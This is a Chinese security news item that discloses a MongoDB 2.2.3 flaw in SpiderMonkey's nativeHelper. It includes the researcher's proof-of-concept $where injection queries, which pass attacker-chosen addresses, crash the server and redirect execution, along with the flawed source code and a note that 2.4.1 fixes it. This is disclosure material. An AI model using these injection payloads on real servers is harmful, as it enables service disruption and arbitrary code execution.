安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey Javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。
以下为研究者带来的一些分析。
首先在MongoDB中尝试一些服务器端的JavaScript注入,尝试运行一个shell。
> run("uname","-a")
Sun Mar 25 07:09:49 shell: started program
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
以下这个命令只能在mongo客户端才有效
> db.my_collection.find({$where:"run('ls')"})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
"code" : 10071
}
研究者继续深入尝试
> run
function () {
return nativeHelper.apply(run_, arguments);
}
运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。
> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
"code" : 10071
}
将一个关联数组用到服务器端
> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 25 07:15:26 DBClientCursor::init call() failed
Sun Mar 25 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
结果显示:The server crashed \o/ ! (崩溃)
查看看一下其源代码
路径:./src/mongo/scripting/engine_spidermonkey.cpp
JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) { try { Convertor c(cx); NativeFunction func = reinterpret_cast( static_cast( c.getNumber( obj , "x" ) ) ); void* data = reinterpret_cast<void*>( static_cast( c.getNumber( obj , "y" ) ) ); verify( func ); BSONObj a; if ( argc > 0 ) { BSONObjBuilder args; for ( uintN i = 0; i < argc; ++i ) { c.append( args , args.numStr( i ) , argv[i] ); } a = args.obj(); } BSONObj out; try { out = func( a, data ); } catch ( std::exception& e ) {
原函数的功能会从”x” : 135246144调用至JavaScript对象不带任何检查。
> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})
Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).
MongoDB已发布最新版本2.4.1修复了该漏洞,下载地址
[感谢LinuxSpace投递 via scrt ]